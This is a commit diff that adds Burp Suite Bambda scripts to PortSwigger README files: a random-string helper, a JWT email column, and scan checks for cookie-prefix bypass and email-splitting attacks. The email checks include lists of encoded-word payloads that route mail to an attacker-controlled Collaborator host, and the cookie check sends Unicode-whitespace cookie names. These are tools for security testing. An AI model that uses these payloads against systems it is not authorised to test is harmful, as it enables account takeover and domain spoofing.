Skip to content

Commit 4804df5

Browse files
Update README.md files
1 parent 512f343 commit 4804df5

File tree

3 files changed

+244
-0
lines changed

3 files changed

+244
-0
lines changed

CustomAction/README.md

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -336,6 +336,49 @@ var responses = api().http().sendRequests(reqs);
336336
var codes = responses.stream().map(HttpRequestResponse::response).map(HttpResponse::statusCode).toList();
337337
logging().logToOutput(codes);
338338

339+
```
340+
## [RandomCharactersBasedOnRegex.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/RandomCharactersBasedOnRegex.bambda)
341+
### Creates a random string in the output log or replaces the $random placeholder in the request. The string is generated using a regular expression class received from the user input dialog.
342+
#### Author: Gareth Heyes
343+
```java
344+
var patternStr = javax.swing.JOptionPane.showInputDialog(null, "Enter regex pattern like [a-z]{4} or [0-5]{10}", "Random chars based on regex", javax.swing.JOptionPane.QUESTION_MESSAGE);
345+
if (patternStr == null) {
346+
logging.logToOutput("No pattern entered, cancelled.");
347+
return;
348+
}
349+
350+
var randomCharsBasedOnRegex = (Function<String, String>)(pattern -> {
351+
var m = Pattern.compile("(\\[[^\\]]+\\])\\{(\\d+)\\}").matcher(pattern);
352+
if (!m.matches()) throw new IllegalArgumentException("Only [chars]{n} supported");
353+
var charClass = m.group(1);
354+
var count = Integer.parseInt(m.group(2));
355+
var inner = charClass.substring(1, charClass.length() - 1);
356+
var chars = new ArrayList<Character>();
357+
for (int i = 0; i < inner.length();) {
358+
if (i + 2 < inner.length() && inner.charAt(i + 1) == '-') {
359+
char start = inner.charAt(i);
360+
char end = inner.charAt(i + 2);
361+
for (char c = start; c <= end; c++) chars.add(c);
362+
i += 3;
363+
} else {
364+
chars.add(inner.charAt(i));
365+
i++;
366+
}
367+
}
368+
var sb = new StringBuilder();
369+
var rand = new Random();
370+
for (int i = 0; i < count; i++) sb.append(chars.get(rand.nextInt(chars.size())));
371+
return sb.toString();
372+
});
373+
374+
var generated = randomCharsBasedOnRegex.apply(patternStr);
375+
376+
if(requestResponse.request().toString().contains("$random")) {
377+
httpEditor.requestPane().replace("$random", generated);
378+
} else {
379+
logging.logToOutput("Random chars: " + generated);
380+
}
381+
339382
```
340383
## [RepeaterClipNewFromClipboard.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/RepeaterClipNewFromClipboard.bambda)
341384
### Given the clipboard contains a repeater request compressed and encoded by the RepeaterClip Bambda, this Bambda creates a new Repeater tab containing that request.

CustomColumn/Proxy/HTTP/README.md

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -47,6 +47,28 @@ if (requestResponse.hasResponse() && requestResponse.request().hasHeader("Origin
4747
return "";
4848
}
4949

50+
```
51+
## [EmailFromJWT.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomColumn/Proxy/HTTP/EmailFromJWT.bambda)
52+
### Add email claim from JWT column.
53+
#### Author: Muhammad Zeeshan (https://gist.github.com/Xib3rR4dAr)
54+
```java
55+
56+
if (!requestResponse.finalRequest().hasHeader("Authorization")) {
57+
return "";
58+
}
59+
60+
var headerValue = requestResponse.request().headerValue("Authorization");
61+
62+
var jwtFrags = headerValue.split("\\.");
63+
64+
if (jwtFrags.length != 3 ) {
65+
return "";
66+
}
67+
68+
var payloadJson = utilities().base64Utils().decode(jwtFrags[1], Base64DecodingOptions.URL).toString();
69+
70+
return utilities().jsonUtils().readString(payloadJson, "email");
71+
5072
```
5173
## [JWTAlgorithm.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomColumn/Proxy/HTTP/JWTAlgorithm.bambda)
5274
### Extracts the JWT alg value from JWT session Cookies

CustomScanChecks/README.md

Lines changed: 179 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,73 @@ for (var origin : new String[]{evilHttps, evilHttp})
5353

5454
return AuditResult.auditResult();
5555

56+
```
57+
## [CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomScanChecks/CookiePrefixBypass.bambda)
58+
### Identifies HTTP cookie prefix bypass vulnerability.
59+
#### Author: d0ge
60+
```java
61+
if (!requestResponse.hasResponse()) return null;
62+
63+
var req = requestResponse.request();
64+
var res = requestResponse.response();
65+
66+
var map = new java.util.LinkedHashMap<String, HttpParameter>();
67+
res.cookies().stream()
68+
.filter(c -> c.name().startsWith("__Host-") || c.name().startsWith("__Secure-"))
69+
.forEach(c -> map.put(c.name(), HttpParameter.cookieParameter(c.name(), c.value())));
70+
req.parameters().stream()
71+
.filter(p -> p.type() == HttpParameterType.COOKIE
72+
&& (p.name().startsWith("__Host-") || p.name().startsWith("__Secure-")))
73+
.forEach(p -> map.put(p.name(), HttpParameter.cookieParameter(p.name(), p.value())));
74+
75+
var merged = new java.util.ArrayList<>(map.values());
76+
if (merged.isEmpty()) {
77+
return null;
78+
}
79+
var exploit = req
80+
.withRemovedParameters(merged)
81+
.withAddedParameters(
82+
merged.stream()
83+
.map(p -> HttpParameter.cookieParameter("§§§" + p.name(), p.value()))
84+
.toList()
85+
);
86+
var downgrade = exploit.toString().replaceFirst("HTTP/2","HTTP/1.1");
87+
var prob = downgrade.replaceAll("§§§", "");
88+
var prob1 = api().http().sendRequest(HttpRequest.httpRequest(req.httpService(), prob), HttpMode.HTTP_1);
89+
if(!prob1.hasResponse()) {
90+
return null;
91+
}
92+
var attributes1 = prob1.response().attributes(AttributeType.COOKIE_NAMES);
93+
94+
var data = ByteArray.byteArray(downgrade);
95+
int idx;
96+
while ((idx = data.indexOf("§§§")) != -1) {
97+
data.setByte(idx, (byte) 0xE2);
98+
data.setByte(idx+1, (byte) 0x80);
99+
data.setByte(idx+2, (byte) 0x80);
100+
}
101+
102+
var respRx = api().http()
103+
.sendRequest(HttpRequest.httpRequest(
104+
req.httpService(), data), HttpMode.HTTP_1);
105+
if (!respRx.hasResponse()) return null;
106+
var attributes2 = respRx.response().attributes(AttributeType.COOKIE_NAMES);
107+
if(attributes1.getFirst().value() == attributes1.getFirst().value()) {
108+
return AuditResult.auditResult(burp.api.montoya.scanner.audit.issues.AuditIssue.auditIssue(
109+
"Cookie Prefix Bypass",
110+
"The server appears to be vulnerable to a <b>Unicode-based bypass</b> affecting cookies with the <b>__Host-</b> or <b>__Secure-</b> prefix. This issue exploits whitespace trimming behavior, allowing an attacker to set privileged cookies using visually similar names.",
111+
"Ensure the server does not silently strip or normalize <i>Unicode space separator characters</i> (e.g. U+2000–U+200A) before parsing cookie names. These characters can be used to bypass prefix restrictions in modern browsers like Chrome and Firefox.",
112+
req.url(),
113+
burp.api.montoya.scanner.audit.issues.AuditIssueSeverity.LOW,
114+
burp.api.montoya.scanner.audit.issues.AuditIssueConfidence.TENTATIVE,
115+
"For technical background on Unicode-based cookie prefix bypasses, see: <a href=\"https://portswigger.net/research/cookie-chaos\">https://portswigger.net/research/cookie-chaos</a>",
116+
"",
117+
burp.api.montoya.scanner.audit.issues.AuditIssueSeverity.LOW,
118+
respRx
119+
));
120+
}
121+
return null;
122+
56123
```
57124
## [DetectTRACEMethod.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomScanChecks/DetectTRACEMethod.bambda)
58125
### Identifies requests with TRACE method enabled.
@@ -100,6 +167,118 @@ for (var i = 0; i < 5; i++)
100167

101168
return AuditResult.auditResult();
102169

170+
```
171+
## [EmailSplittingCollaboratorClient.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomScanChecks/EmailSplittingCollaboratorClient.bambda)
172+
### Performs an email splitting attack using encoded word. The Collaborator client is used to retrieve interactions. You should change the spoofServer to be your target domain e.g. example.com You can add more techniques using the techniques variable.
173+
#### Author: Gareth Heyes
174+
```java
175+
var POLL_SLEEP = 1_000;
176+
var TOTAL_TIME = 10_000;
177+
var spoofServer = "target.domain";
178+
var collaboratorClient = api().collaborator().createClient();
179+
var techniques = new String[]{
180+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=00?=foo@$SPOOF_SERVER"
181+
};
182+
183+
HashMap<String, HttpRequestResponse> requestResponsesSent = new HashMap<>();
184+
185+
for(var technique: techniques) {
186+
var payload = collaboratorClient.generatePayload();
187+
technique = technique.replaceAll("[$]COLLABORATOR_SERVER", payload.server().get().address());
188+
technique = technique.replaceAll("[$]COLLABORATOR_PAYLOAD", payload.id().toString());
189+
technique = technique.replaceAll("[$]SPOOF_SERVER", spoofServer);
190+
HttpRequestResponse reqResp = http.sendRequest(insertionPoint.buildHttpRequestWithPayload(ByteArray.byteArray(technique)));
191+
requestResponsesSent.put(payload.id().toString(), reqResp);
192+
}
193+
194+
List<AuditIssue> auditIssues = new ArrayList<>();
195+
196+
Function<String, String> newLinesToBr = s -> s.replaceAll("\r?\n","<br>");
197+
198+
try {
199+
long start = System.currentTimeMillis();
200+
while (true) {
201+
if (System.currentTimeMillis() - start >= TOTAL_TIME) break;
202+
List<Interaction> list = collaboratorClient.getAllInteractions();
203+
if (!list.isEmpty()) {
204+
for (Interaction i : list) {
205+
if (!i.smtpDetails().isPresent()) continue;
206+
var id = i.id().toString();
207+
var conversation = i.smtpDetails().get().conversation().substring(0, 500) + "...";
208+
var title = "Email address parser discrepancy";
209+
var detail = "This site is vulnerable to an email splitting attack below is the SMTP conversation:"+utilities().htmlUtils().encode(conversation);
210+
var remediation = """
211+
- Reject any address containing =? … ?= (“encoded-word”) patterns with a simple regex such as =[?].+[?]= before further processing.
212+
- Disable or strictly configure legacy address parsing features in mail libraries (UUCP bang paths, source routes, UTF-7, IDN/Punycode) whenever they are not required.
213+
- Never base authorisation decisions solely on the claimed email domain. Instead, verify ownership (for example, by sending a one-time link) or use cryptographically strong identity assertions.
214+
- Ensure server-side validation is performed by the same library that ultimately sends or stores the address, avoiding mixed-parser discrepancies.
215+
""";
216+
var background = "Email syntax is governed by decades-old RFCs that permit comments, quoted local-parts, multiple encodings and obsolete routing notations. Modern web applications often validate addresses with a simple regex or framework helper, then pass them to deeper libraries (SMTP clients, IDN converters, etc.). An attacker can embed control characters or secondary @ symbols that survive the first check but are re-interpreted later, redirecting mail delivery or splitting the address during SMTP dialogue. The impact ranges from account takeover to cross-tenant data exposure and, where rendered in HTML contexts, stored XSS leading to RCE.";
217+
var remediationBackground = "The simplest and most effective defence is disable: “encoded-word” as they are unnecessary in user registration flows and can be blocked cheaply. Disabling rarely used address forms in mail libraries closes additional vectors, while eliminating domain-based access checks removes the underlying trust flaw. Where email addresses must be accepted verbatim (for example, mail clients), sanitise or escape them before insertion into HTML or SQL contexts and confirm delivery via out-of-band verification.";
218+
auditIssues.add(AuditIssue.auditIssue(title, newLinesToBr.apply(title), newLinesToBr.apply(remediation), requestResponse.request().url(), AuditIssueSeverity.MEDIUM, AuditIssueConfidence.FIRM, newLinesToBr.apply(background), newLinesToBr.apply(remediationBackground), AuditIssueSeverity.MEDIUM, requestResponsesSent.get(id)));
219+
}
220+
}
221+
java.util.concurrent.TimeUnit.MILLISECONDS.sleep(POLL_SLEEP);
222+
}
223+
} catch (InterruptedException ignored) {}
224+
225+
return AuditResult.auditResult(auditIssues);
226+
227+
```
228+
## [EmailSplittingDefaultCollaborator.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomScanChecks/EmailSplittingDefaultCollaborator.bambda)
229+
### Performs an email splitting attack using encoded word. The default Collaborator client is used to retrieve interactions. You should change the spoofServer to be your target domain e.g. example.com Note this scan check using the default Collaborator tab and doesn't raise any issues. This allows you to use a long running task over the 2 minute window for scan checks. The main Collaborator tab will be updated if your probes are successful and receive Collaborator interactions.
230+
#### Author: Gareth Heyes
231+
```java
232+
var techniques = new String[]{
233+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=00?=foo@$SPOOF_SERVER",
234+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=01?=foo@$SPOOF_SERVER",
235+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=02?=foo@$SPOOF_SERVER",
236+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=03?=foo@$SPOOF_SERVER",
237+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=04?=foo@$SPOOF_SERVER",
238+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=05?=foo@$SPOOF_SERVER",
239+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=07?=foo@$SPOOF_SERVER",
240+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=08?=foo@$SPOOF_SERVER",
241+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=0e?=foo@$SPOOF_SERVER",
242+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=0f?=foo@$SPOOF_SERVER",
243+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=10?=foo@$SPOOF_SERVER",
244+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=11?=foo@$SPOOF_SERVER",
245+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=13?=foo@$SPOOF_SERVER",
246+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=15?=foo@$SPOOF_SERVER",
247+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=16?=foo@$SPOOF_SERVER",
248+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=17?=foo@$SPOOF_SERVER",
249+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=19?=foo@$SPOOF_SERVER",
250+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=1a?=foo@$SPOOF_SERVER",
251+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=1b?=foo@$SPOOF_SERVER",
252+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=1c?=foo@$SPOOF_SERVER",
253+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=1d?=foo@$SPOOF_SERVER",
254+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=1f?=foo@$SPOOF_SERVER",
255+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=3e=20?=foo@$SPOOF_SERVER",
256+
"=?x?q?$COLLABORATOR_PAYLOAD=40$COLLABORATOR_SERVER=2c?=x@$SPOOF_SERVER",
257+
"=?utf-7?q?$COLLABORATOR_PAYLOAD&AEA-$COLLABORATOR_SERVER&ACw-?=foo@$SPOOF_SERVER",
258+
"=?utf-7?q?$COLLABORATOR_PAYLOAD&AEA-$COLLABORATOR_SERVER&ACw=/xyz!-?=foo@$SPOOF_SERVER",
259+
"=?utf-7?q?$COLLABORATOR_PAYLOAD=26AEA-$COLLABORATOR_SERVER=26ACw-?=foo@$SPOOF_SERVER",
260+
"$COLLABORATOR_PAYLOAD=?utf-7?b?JkFFQS0?=$COLLABORATOR_SERVER=?utf-7?b?JkFDdy0?=foo@$SPOOF_SERVER",
261+
"$COLLABORATOR_PAYLOAD=?x?b?QA==?=$COLLABORATOR_SERVER=?x?b?LA==?=foo@$SPOOF_SERVER",
262+
"=?utf-7?q?$COLLABORATOR_PAYLOAD&AEA-$COLLABORATOR_SERVER&ACA-?=foo@$SPOOF_SERVER",
263+
"=?utf-7?q?$COLLABORATOR_PAYLOAD&AEA-$COLLABORATOR_SERVER&ACA=/xyz!-?=foo@$SPOOF_SERVER",
264+
"=?utf-7?q?$COLLABORATOR_PAYLOAD=26AEA-$COLLABORATOR_SERVER=26ACA-?=foo@$SPOOF_SERVER",
265+
"$COLLABORATOR_PAYLOAD=?utf-7?b?JkFFQS0?=$COLLABORATOR_SERVER=?utf-7?b?JkFDdy0?=foo@$SPOOF_SERVER",
266+
"$COLLABORATOR_PAYLOAD=?x?b?QA==?=$COLLABORATOR_SERVER=?x?b?LA==?=foo@$SPOOF_SERVER"
267+
};
268+
269+
var spoofServer = "target.domain";
270+
271+
for(var technique: techniques) {
272+
var payload = api().collaborator().defaultPayloadGenerator().generatePayload();
273+
technique = technique.replaceAll("[$]COLLABORATOR_SERVER", payload.server().get().address());
274+
technique = technique.replaceAll("[$]COLLABORATOR_PAYLOAD", payload.id().toString());
275+
technique = technique.replaceAll("[$]SPOOF_SERVER", spoofServer);
276+
277+
HttpRequestResponse reqResp = http.sendRequest(insertionPoint.buildHttpRequestWithPayload(ByteArray.byteArray(technique)));
278+
}
279+
280+
return null;
281+
103282
```
104283
## [MissingCSPHeader.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomScanChecks/MissingCSPHeader.bambda)
105284
### Identifies requests with missing CSP headers.

0 commit comments

Comments
 (0)